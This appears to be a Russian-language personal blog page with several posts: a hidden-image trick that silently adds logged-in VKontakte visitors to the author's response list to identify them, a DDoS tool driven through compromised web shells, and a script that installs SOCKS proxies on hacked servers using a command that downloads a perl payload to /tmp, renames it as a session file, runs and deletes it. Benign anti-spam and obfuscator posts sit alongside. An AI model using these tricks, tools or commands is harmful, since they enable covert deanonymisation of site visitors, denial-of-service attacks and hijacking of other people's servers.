Июнь 06

vkПочти на всех сайтах стоят счетчики посещений которые показывают статистику. Максимум что можно узнать таким способом о конкретном посетителе это его IP адрес, но в большинстве случаев он мало что дает, максимум раен проживания. Более подробная информация храниться у провайдера, и кому попало не предоставляется.
Что же делать?
На помощь приходит всеми горячо любимый сайт Вконтакте!
У каждого зарегестрированного пользователя есть функция “Предложения”, типа на странице появляеться предложение, есле кто-то клацнит кнопочку “Да” то его фото и ссылка на профиль появиться в списке откликнувшихся.
При нажатии на кнопку происходит обращение к файлу matches.php с параметрами act=a_sent&dec=1&to_id=0000000 где to_id это id вашей страницы на которой голосавние(в данном случае 0000000).
Как это использовать?
Очень просто! Регистрируем аккаунт Вконтакте, включаем функцию предложения, в ссылку вместо 0000000 подставляем id зарегистрированного аккаунта. Теперь если человек авторизирован Вконтакте и перейдет по этой ссылке, то он появиться в списке Откликнувшихся.
Без палева вставив эту ссылку на страницу можно получать подробную информацию о ее посетителях, которые авторизированы Вконтакте.
Теперь немного подробней о “Без палева”. Нетрудно заметить что тип возвращаемого ответа сервером text/json поэтому браузер как правило предлагает сохранить это как файл - это палево. Соответственно фреймы отпадают (они и сами по себе палятся а тут еще и сохранение файла), будем делать через катинку! Невидимую картинку ;)

<img style="display: none" src="http://vkontakte.ru/matches.php?act=a_sent&dec=1&to_id=0000000" alt="" />

Вот и все! Удачи;)

И не забывай: Большой брат следит за тобой!

written by admin \\ tags: , , ,

Фев 27

imagesJSantispam WP edition - это плагин для WordPres предназначенный для борьбы со спамом в комментариях. Он позволяет добавлять сообщения пользователям, не требую от них никаких дополнительных действий, при этом значительно усложняет жизнь ботам.  Для тог чтобы пользователь мог оставлять комментарии  у него в браузере должна быть включена поддержка JavScript. Также требуется php5 на сервере.
C алгоритмом примененным в данной защите можно ознакомиться ТУТ

Установка максимальна проста:

  1. Скачайте и распакуйте архив
  2. загрузите плагин на сервер
  3. Активируйте его в админпанели

Готово! Никаких дополнительных настроек не требуется.

Внимание! Данный плагин предназначен для защиты от спама рассылаемого РОБОТАМИ а не долбаебами. Если вы в ручную добавляете какойто безсмысленный комент, и он проходит это не значит что плагин не работает!

Скачать JSantispam WP edition v1.1

written by admin \\ tags: , , , , ,

Фев 24

Обфускация - это процесс затруднения понимания кода, при этом сохраняя его работоспособность. Иногда необходим для некотоых участков кода. Решил написать простенький абфускатор который будет изменять имена переменных, посмотрим насколько это затруднит понимание программы;)
Если порыться в официальной документации по PHP и посмотреть ограничения на имена переменных, мы видим следующее:
имя переменной в PHP может состоять из любых символов, код ASCII которых старше 127, это значит что переменная может состоять и из русских букв, и даже из некоторых непечатных символов.

Написал класс который заменяет имена переменных на новые, генерированные из определенных символов.

Для примера скормим скрипту такой код:

	function fxor($string, $key)
	{
		$slen=strlen($string);
		$klen=strlen($key);
		for($i=0, $j=0; $i < $slen; $i++, $j++)
		{
			if($j == $klen)
				$j=0;
			$string[$i] = $string[$i] ^ $key[$j];
		}
		return $string;
	}

На выходи получаем:

function fxor($   , $    )
	{
		$     =strlen($   );
		$      =strlen($    );
		for($       =0, $        =0; $       <$     ; $       ++, $        ++)
		{
			if($         == $      ) 
				$        =0;
			$   [$       ] = $   [$       ] ^ $    [$        ];
		}
		return $   ;
	}

Такой вот забавный код) Имена переменных заменены на переменные состоящие из непечатного символа xA0
Восприятие кода немного затруднилось. Еще можно убрать все символы n и r получим:

function fxor($   , $    )  	{  		$     =strlen($   );  		$      =strlen($    );  		for($       =0, $        =0; $       <$     ; $       ++, $        ++)  		{  			if($         == $      )   				$        =0;  			$   [$       ] = $   [$       ] ^ $    [$        ];  		}  		return $   ;  	}

Выглядить симпатично))

Онлайн версию скрипта можно потестить тут: http://blog.taran.su/development/obfuscator/
Скачать исходники ТУТ

written by admin \\ tags: ,

Янв 20

Сейчас при стремительном развитие Интернета очень остро стоит проблема спама/флуда и прочих видов нежелательных сообщений, в результате этого даже на самых простых гостевых книгах/формах стоят капчи, что в большинстве случаев очень напрягает тем более что угадывать значение получается не всегда с первого раза.
Идея защиты от спама средствами JavaScript состоит в следующем:

  1. На страницу в форму добавляем скрытое поле с определенным именем и ID
  2. средствами php генерируем уникальный ключ, генерируем JS скрипт который будет присваивать значение этого ключа скрытому полю по его ID
  3. Производим абфускацию JS кода, и выполняем его в браузере пользователя.
    (Абфускация кода нужна для того чтобы ключ не выводился на странице в открытом виде, а получался в результате выполнения скрипта)
  4. При субмите формы проверяем значение скрытого поля, и сгенерированного ключ, если значения совпадают значит все OK.

Такая схема не требует от пользователя никаких действий, у него всего лиш должен быть включен JavaScript, а вот спамерам жизнь затруднит. Конечно значение ключа можно выдрать из DOM и пройти проверку, НО для этого необходимо выполнить JS код средствами спамера , т.к. это не линейная задача (не для PHP) 90% быдло-кодеров с этим не справятся;)

Скриптов по обфускации JS довольно много (я использовал Dean Edwards JavaScript Packer) поэтому задача свелась к написанию функции генератора кода и функции проверки ключа.

array gen_js_key()

Функция для генерация ключа и кода.  Возвращает ассоциативный массив, значение ключа сохраняет в $_SESSION['js_key']

Ключи возврашаемого массива:

[js_key] - униальный ключ

[input] - скрытое поле с уникальным именем и id

[js] - абфусцированный JS код для ыполнения на стороне юзера

bool check_js_key()

Проеряет ключ. Нужно вызывать после субмита формы.

Пимер использования:

<? 
	include('JavaScriptCaptcha.php');
 
	if(!empty($_POST['knopka']))
	{
		if(check_js_key())
			echo 'вы ввели <b>'.htmlspecialchars($_POST['txt']).'</b><br>';
		else 
			echo 'Ключ не подходит<br>';
	}
 
?>
<div id="testjs">
	<h1><b>JavaScript отключен! включите..</b></h1>
</div>
<body OnLoad="JavaScript:window.document.getElementById('testjs').style.display = 'none'">
<form method=post>
	<input type=text name=txt>
<?
	$r = gen_js_key();
	echo $r['input'];
?>
<input type=submit name=knopka>
</form>
<script type="text/javascript">
	<?=$r['js']?>
</script>

Скачать JScaptcha.rar v1.1

В архиве 3и файла:
class.JavaScriptPacker.php – класс обйускации JS
JavaScriptCaptcha.php – файл с необходимыми функциями для генерации и проверки кода
Index.php – пример использования


written by admin \\ tags: , , ,

Янв 12

Shell Dddos-net набор скриптов позволяющий осуществлять Ddos атаки через шелы.
Скрипту для работы даеться список шелов, он автоматически определяет их тип и прогружает свой скрипт, через который в дальнейшем и происходят атаки.

[Установка]
Распаковуем архив. Открываем файл cfg.php, прописуем url к директории где будет находиться скрипт. Здесь же можно добавлять новые типы шелов.
Заливаем на сервак (тот который прописали в конфиге), выставляем права на *.txt файлы 666

[Использование]
Клацаем на вкладочку Load Shell указуем файл со списком шелов (каждый с новой строки) клацаем load. Когда скрипт закончит работу, напишет скок файлов было прогруженно.
На вкладке DDos вбиваем URl сайта, Time - продолжительность атаки в секундах, и Thr - кол-во запусков каждого скрипта (типа патоки). Опционально можно задать User-agent, Referer, и порт. Клацаем Ddos и ждем пару минут пока все запуститься. Все)
Вкладка Check предназначена для проверки уже прогруженных скрипто на валидность.

Скачать Shell Ddos-net v1.0

written by admin \\ tags: , ,

Дек 15

Небольшой скрипт предназначенный для установки socks на сервера через шелы.
В качестве параметров в скрипт вводиться команда для выполнения, и список шелов. После запуска скрипт автоматически определяет тип каждого шела, и выполняет на нем команду по умолчанию это:

cd  /tmp/;wget http://locslhost/s5.txt;mv s5.txt sess_viitqdg7l14ffo9nmtts6r94;perl sess_viitqdg7l14ffo9nmtts6r94;rm sess_viitqdg7l14ffo9nmtts6r94

где http://locslhost/s5.txt это адрес файла с сокс сервером. После этого подключаеться на указыный порт, и проверяет удалось ли запустить сокс. Результат сохраняет в лог файлы. Скрипт писался на “скорою руку” поэтому функционал минимален

Скачать

written by admin \\ tags: , ,